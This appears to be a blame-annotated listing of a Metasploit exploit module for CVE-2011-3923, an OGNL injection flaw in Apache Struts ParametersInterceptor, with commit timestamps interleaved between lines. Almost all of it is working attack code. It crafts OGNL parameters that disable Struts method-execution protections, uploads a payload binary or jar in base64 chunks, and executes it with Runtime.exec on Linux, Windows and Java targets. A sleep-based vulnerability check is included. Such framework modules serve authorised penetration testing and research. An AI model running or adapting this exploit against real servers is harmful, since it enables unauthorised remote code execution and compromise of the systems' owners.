2013-07-29 21:43:41 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-07-29 21:43:41 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2013-07-29 21:43:41 -05:00
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
def initialize ( info = { } )
2025-06-20 13:20:44 +01:00
super (
update_info (
info ,
'Name' = > 'Apache Struts ParametersInterceptor Remote Code Execution' ,
'Description' = > %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
for the use of parentheses which in turn allows it to interpret parameter values as
OGNL expressions during certain exception handling for mismatched data types of
properties which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
} ,
'Author' = > [
2013-07-29 21:43:41 -05:00
'Meder Kydyraliev' , # Vulnerability Discovery and PoC
'Richard Hicks <scriptmonkey.blog[at]gmail.com>' , # Metasploit Module
2025-06-20 13:20:44 +01:00
'mihi' , # ARCH_JAVA support
2014-05-08 23:05:41 +02:00
'Christian Mehlmauer' # Metasploit Module
2013-07-29 21:43:41 -05:00
] ,
2025-06-20 13:20:44 +01:00
'License' = > MSF_LICENSE ,
'References' = > [
2013-07-29 21:43:41 -05:00
[ 'CVE' , '2011-3923' ] ,
2016-07-15 12:00:31 -05:00
[ 'OSVDB' , '78501' ] ,
2013-07-29 21:43:41 -05:00
[ 'URL' , 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html' ] ,
[ 'URL' , 'https://cwiki.apache.org/confluence/display/WW/S2-009' ]
] ,
2025-06-20 13:20:44 +01:00
'Platform' = > %w{ java linux win } ,
'Privileged' = > true ,
'Targets' = > [
[
'Windows Universal' ,
2013-07-29 21:43:41 -05:00
{
'Arch' = > ARCH_X86 ,
2014-06-11 15:10:33 -05:00
'Platform' = > 'win'
2013-07-29 21:43:41 -05:00
}
] ,
2025-06-20 13:20:44 +01:00
[
'Linux Universal' ,
2013-07-29 21:43:41 -05:00
{
'Arch' = > ARCH_X86 ,
'Platform' = > 'linux'
}
] ,
2025-06-20 13:20:44 +01:00
[
'Java Universal' ,
2013-07-29 21:43:41 -05:00
{
'Arch' = > ARCH_JAVA ,
'Platform' = > 'java'
} ,
]
] ,
2025-06-20 13:20:44 +01:00
'DisclosureDate' = > '2011-10-01' ,
2025-06-23 12:00:29 +01:00
'DefaultTarget' = > 2 ,
'Notes' = > {
2025-06-23 12:43:46 +01:00
'Reliability' = > UNKNOWN_RELIABILITY ,
'Stability' = > UNKNOWN_STABILITY ,
'SideEffects' = > UNKNOWN_SIDE_EFFECTS
2025-06-23 12:00:29 +01:00
}
2025-06-20 13:20:44 +01:00
)
)
2013-07-29 21:43:41 -05:00
2025-06-20 13:20:44 +01:00
register_options (
[
Opt :: RPORT ( 8080 ) ,
OptString . new ( 'PARAMETER' , [ true , 'The parameter to perform injection against.' , 'username' ] ) ,
OptString . new ( 'TARGETURI' , [ true , 'The path to a struts application action' , '/blank-struts2/login.action' ] ) ,
OptInt . new ( 'CHECK_SLEEPTIME' , [ true , 'The time, in seconds, to ask the server to sleep while check' , 5 ] ) ,
OptString . new ( 'GET_PARAMETERS' , [ false , 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.' , nil ] ) ,
OptString . new ( 'TMP_PATH' , [ false , 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!' , nil ] )
]
)
2013-07-29 21:43:41 -05:00
end
2014-05-08 22:15:52 +02:00
def parameter
datastore [ 'PARAMETER' ]
end
2014-05-10 00:19:40 +02:00
def temp_path
return nil unless datastore [ 'TMP_PATH' ]
2025-06-20 13:20:44 +01:00
2014-05-10 00:19:40 +02:00
unless datastore [ 'TMP_PATH' ] . end_with? ( '/' ) || datastore [ 'TMP_PATH' ] . end_with? ( '\\' )
fail_with ( Failure :: BadConfig , 'You need to add a trailing slash/backslash to TMP_PATH' )
end
datastore [ 'TMP_PATH' ]
end
2014-05-09 21:15:28 +02:00
def get_parameter
retval = { }
return retval unless datastore [ 'GET_PARAMETERS' ]
2025-06-20 13:20:44 +01:00
2014-05-09 21:15:28 +02:00
splitted = datastore [ 'GET_PARAMETERS' ] . split ( '&' )
return retval if splitted . nil? || splitted . empty?
2025-06-20 13:20:44 +01:00
2014-05-09 21:15:28 +02:00
splitted . each { | item |
name , value = item . split ( '=' )
# no check here, value can be nil if parameter is ¶m
2014-05-09 21:21:04 +02:00
decoded_name = name ? Rex :: Text :: uri_decode ( name ) : nil
decoded_value = value ? Rex :: Text :: uri_decode ( value ) : nil
retval [ decoded_name ] = decoded_value
2014-05-09 21:15:28 +02:00
}
retval
end
2014-05-08 22:15:52 +02:00
def execute_command ( cmd )
2014-05-09 10:38:19 +02:00
junk = Rex :: Text . rand_text_alpha ( 6 )
2014-05-08 22:15:52 +02:00
inject = " ( # context[ \" xwork.MethodAccessor.denyMethodExecution \" ]= new java.lang.Boolean(false), # _memberAccess[ \" allowStaticMethodAccess \" ] "
2014-05-09 10:38:19 +02:00
inject << " = new java.lang.Boolean(true), #{ cmd } )(' #{ junk } ') "
2014-05-08 22:15:52 +02:00
uri = normalize_uri ( datastore [ 'TARGETURI' ] )
2013-07-29 21:43:41 -05:00
resp = send_request_cgi ( {
2025-06-20 13:20:44 +01:00
'uri' = > uri ,
2013-07-29 21:43:41 -05:00
'version' = > '1.1' ,
2025-06-20 13:20:44 +01:00
'method' = > 'GET' ,
2014-05-09 21:15:28 +02:00
'vars_get' = > { parameter = > inject , " z[( #{ parameter } )( #{ junk } )] " = > 'true' } . merge ( get_parameter )
2013-07-29 21:43:41 -05:00
} )
2014-05-08 23:05:41 +02:00
resp
2013-07-29 21:43:41 -05:00
end
def exploit
2025-06-20 13:20:44 +01:00
# Set up generic values.
2014-05-08 23:05:41 +02:00
payload_exe = rand_text_alphanumeric ( 4 + rand ( 4 ) )
2015-12-08 21:13:23 -06:00
2014-05-08 23:05:41 +02:00
append = false
2025-06-20 13:20:44 +01:00
# Now arch specific...
2013-07-29 21:43:41 -05:00
case target [ 'Platform' ]
when 'linux'
2018-05-16 06:15:40 -05:00
pl_exe = generate_payload_exe
2014-05-10 00:19:40 +02:00
path = temp_path || '/tmp/'
payload_exe = " #{ path } #{ payload_exe } "
2014-05-08 23:05:41 +02:00
chmod_cmd = " @java.lang.Runtime@getRuntime().exec( \" /bin/sh_-c_chmod +x #{ payload_exe } \" .split( \" _ \" )) "
exec_cmd = " @java.lang.Runtime@getRuntime().exec( \" /bin/sh_-c_ #{ payload_exe } \" .split( \" _ \" )) "
2013-07-29 21:43:41 -05:00
when 'java'
2014-05-10 00:19:40 +02:00
payload_exe = " #{ temp_path } #{ payload_exe } .jar "
2013-07-29 21:43:41 -05:00
pl_exe = payload . encoded_jar . pack
2014-05-08 23:05:41 +02:00
exec_cmd = ''
2013-07-29 21:43:41 -05:00
exec_cmd << " # q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'), "
exec_cmd << " # q.setAccessible(true), # q.set(null,true), "
exec_cmd << " # q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'), "
exec_cmd << " # q.setAccessible(true), # q.set(null,false), "
2014-05-08 23:05:41 +02:00
exec_cmd << " # cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(' #{ payload_exe } ').toURI().toURL()}), "
2013-07-29 21:43:41 -05:00
exec_cmd << " # c= # cl.loadClass('metasploit.Payload'), "
exec_cmd << " # c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke( "
exec_cmd << " null,new java.lang.Object[]{new java.lang.String[0]}) "
2014-06-11 15:22:55 -05:00
when 'win'
2018-05-16 06:15:40 -05:00
pl_exe = generate_payload_exe
2014-05-10 00:19:40 +02:00
path = temp_path || './'
payload_exe = " #{ path } #{ payload_exe } .exe "
2014-05-08 23:05:41 +02:00
exec_cmd = " @java.lang.Runtime@getRuntime().exec(' #{ payload_exe } ') "
2013-07-29 21:43:41 -05:00
else
2013-08-15 14:14:46 -05:00
fail_with ( Failure :: NoTarget , 'Unsupported target platform!' )
2013-07-29 21:43:41 -05:00
end
2016-02-01 15:12:03 -06:00
print_status ( " Uploading exploit to #{ payload_exe } " )
2025-06-20 13:20:44 +01:00
# Now with all the arch specific stuff set, perform the upload.
# 109 = length of command string plus the max length of append.
2014-05-08 23:05:41 +02:00
sub_from_chunk = 109 + payload_exe . length + datastore [ 'TARGETURI' ] . length + parameter . length
2013-07-29 21:43:41 -05:00
chunk_length = 2048 - sub_from_chunk
2025-06-20 13:20:44 +01:00
chunk_length = ( ( chunk_length / 4 ) . floor ) * 3
2013-07-29 21:43:41 -05:00
while pl_exe . length > chunk_length
2025-06-20 13:20:44 +01:00
java_upload_part ( pl_exe [ 0 , chunk_length ] , payload_exe , append )
pl_exe = pl_exe [ chunk_length , pl_exe . length - chunk_length ]
2013-07-29 21:43:41 -05:00
append = true
end
2014-05-08 23:05:41 +02:00
java_upload_part ( pl_exe , payload_exe , append )
2016-02-01 15:12:03 -06:00
print_status ( " Executing payload " )
2013-07-29 21:43:41 -05:00
execute_command ( chmod_cmd ) if target [ 'Platform' ] == 'linux'
execute_command ( exec_cmd )
2014-05-08 23:05:41 +02:00
register_files_for_cleanup ( payload_exe )
2013-07-29 21:43:41 -05:00
end
2014-05-08 23:05:41 +02:00
def java_upload_part ( part , filename , append = false )
2013-07-29 21:43:41 -05:00
cmd = " "
cmd << " # f=new java.io.FileOutputStream(' #{ filename } ', #{ append } ), "
cmd << " # f.write(new sun.misc.BASE64Decoder().decodeBuffer(' #{ Rex :: Text . encode_base64 ( part ) } ')), "
cmd << " # f.close() "
execute_command ( cmd )
end
def check
sleep_time = datastore [ 'CHECK_SLEEPTIME' ]
check_cmd = " @java.lang.Thread@sleep( #{ sleep_time * 1000 } ) "
t1 = Time . now
2014-01-21 13:03:36 -06:00
vprint_status ( " Asking remote server to sleep for #{ sleep_time } seconds " )
2013-07-29 21:43:41 -05:00
response = execute_command ( check_cmd )
t2 = Time . now
delta = t2 - t1
if response . nil?
return Exploit :: CheckCode :: Safe
elsif delta < sleep_time
return Exploit :: CheckCode :: Safe
else
return Exploit :: CheckCode :: Appears
end
end
end